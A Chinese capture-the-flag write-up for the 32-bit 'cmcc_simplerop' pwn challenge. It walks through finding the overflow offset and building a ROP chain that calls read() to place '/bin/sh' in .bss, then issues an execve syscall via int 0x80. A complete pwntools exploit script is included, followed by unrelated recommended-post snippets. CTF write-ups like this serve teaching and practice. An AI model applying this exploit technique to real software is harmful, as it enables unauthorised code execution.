cmcc_simplerop
这是一道系统调用+rop的题。
先来就检查一下保护。
32位程序,只开启了堆栈不可执行。ida看一下伪代码。
代码也很简洁,就是直接让你溢出。这里ida反汇编显示的v4具体ebp的距离是0x14,再加上0x8也就是0x1c就到返回地址了,但是在实际上,偏移不是这么多。这里我们用pwndbg测试。首先cyclic生成一些数字。
用pwndbg调试。
这里测出偏移是32,也就是距离返回地址是0x20。
接下来就是看看有些什么我们可以利用的函数吧!
首先就是可以看见有int 0x80,我们可以系统调用,关于系统调用的指令,我们可以参考这个博客,总结的很全。
接下来就是我们需要找一些通用的可以给寄存器赋值的命令。
在这里们我选择这两条,因为系统调用,需要我们执行这样的命令。
int80(11,"/bin/sh",null,null)
后面的四个参数分别是eax、ebx、ecx、edx。
所以上面的两条命令刚刚好。
接下来就是想办法找binsh的字符串,这道题是找不到的,需要我们自己输入。输入就需要调用函数,一般我们是选择调用read函数,将binsh字符串写入bss段,直接调用,而且这道题没有开启pie,bss的地址就是绝对地址。
我刚开始想着read函数也用系统调用,但是在左边的函数列表中搜了一下,发现了read函数。这样我们就是可以直接调用read函数了。
数据也找的差不多了,这个时候我们就可以写exp了,主要就是payload的写法,这里单独拿出来说一下。
1 payload = 'a'*0x20 + p32(read_addr) + p32(pop_pop_edx_ecx_ebx) + p32(0) + p32(binsh_addr) + p32(0x8)
返回到read函数,read函数的返回地址用三个pop代替,整好将read函数的三个参数弹出栈,这样就可以执行下面的斯通调用了,这里就是很简单的read函数,不过这里我们需要在控制端手动输入binsh字符串。
1 payload += p32(pop_eax) + p32(0xb) + p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(binsh_addr) + p32(int_addr)
接下来就是给四个寄存器赋值并且进行系统调用了。
贴一下完整的exp:
1 from pwn import *
2
3 p = process('./simplerop')
4 context.log_level = 'debug'
5
6 p.recv()
7 int_addr = 0x080493e1
8 pop_eax = 0x080bae06
9 read_addr= 0x0806CD50
10 binsh_addr = 0x080EB584
11 pop_edx_ecx_ebx = 0x0806e850
12
13 payload = 'a'*0x20 + p32(read_addr) + p32(pop_edx_ecx_ebx) + p32(0) + p32(binsh_addr) + p32(0x8)
14 payload += p32(pop_eax) + p32(0xb) + p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(binsh_addr) + p32(int_addr)
15
16 p.sendline(payload)
17 p.send('/bin/sh\x00')
18 p.interactive()
19 p.close()
运行一下
一道题学习到了好多。。。一天一包烟,一道pwn题做一天!
cmcc_simplerop的更多相关文章
- 指针生产网络(Pointer-Generator-Network)原理与实战
0 前言 本文内容主要:介绍Pointer-Generator-Network在文本摘要任务中的背景,模型架构与原理.在中英文数据集上实战效果与评估,最后得出结论.参考的<Get To The ...
- [BUUCTF]PWN——CmmC_Simplerop
cmcc_simplerop 附件 步骤 例行检查,32位,开启了nx保护 本地试运行一下程序,查看一下大概的情况 32位ida载入,习惯性的检索程序里的字符串,看了个寂寞,从main函数开始看程序 ...
随机推荐
- [hdu7042]二叉树
考虑最后这棵二叉树的结构,不难发现被移动的点在原树或新树中构成的都是若干棵完整的子树 (若$x$被移动,则$x$在原树或新树的子树中所有点都会被移动) 先在原树中考虑此问题,对于每一棵由被移动的点所构 ...
- [loj3525]喷泉公园
先将整张图$x$和$y$都缩小一半,即"道路"长度变为1,"长椅"变为放在格子中心 如果在没有长椅的限制下也无解(直接dfs即可判定),显然原问题也无解 否则 ...
- 钓鱼小技巧-XLM
前言 XLM钓鱼不是一项新的技术,自从公开以后,网上有很多对其的分析文章,这里仅仅做一个分享和摸索记录.文章中有问题的地方还请指出. 一个简单的例子 新建一个excel表格,右键选择表,选择插入 插入 ...
- Linux排序数据
1.sort 默认是按照字符大小来排序,如果要按照数字大小排序,需要加参数-n,-M按月排序 如:sort text.txt按字符大小排序 sort -n text.txt 按照数字大小排序 sort ...
- 在Winform框架的多文档界面中实现双击子窗口单独弹出或拖出及拽回的处理
在基于DevExpress的多文档窗口界面中,我们一般使用XtraTabbedMdiManager来管理多文档窗口的一些特性,如顶部菜单,页面的关闭按钮处理,以及一些特殊的设置,本篇随笔介绍这些特点, ...
- SA 复习笔记
大家好,由于蒟蒻 tzc 最近被动态点分治这个学也学不会的毒瘤玩意儿虐得不轻,所以就准备换换脑筋来 Van 同样学也学不会的后缀数组了. 考虑一个非常经典的问题:[模板]后缀排序. 一些定义(very ...
- Atcoder Regular Contest 092 D - Two Faced Edges(图论+bitset 优化)
Atcoder 题面传送门 & 洛谷题面传送门 orz ymx,ymx ddw %%% 首先既然题目要我们判断强连通分量个数是否改变,我们首先就将原图 SCC 缩个点呗,缩完点后我们很自然地将 ...
- 【基因组注释】GMAP安装使用问题
homology策略预测基因结构,下载了公共mRNA/CDS序列,考虑用gmap比对.本来是个很简单的脚本,但总是不那么顺利. 无论是用conda安装,还是源码安装较新版本,都存在问题. gmap_b ...
- R语言与医学统计图形-【31】动态交互绘图
1.plotly包 动态散点图 library(plotly) # 交互散点图 plot_ly(data=iris, x=~Sepal.Length, y=~Petal.Length, marker= ...
- EXCEL-时间
1.时间的3中输入方法: (1)手打输入: (2)快捷键:[快,方便,且结果跟手打一样,不会改变][Ctrl+;]->年月日 [Ctrl+:]->时分秒(我这里是这样的效果) (3) ...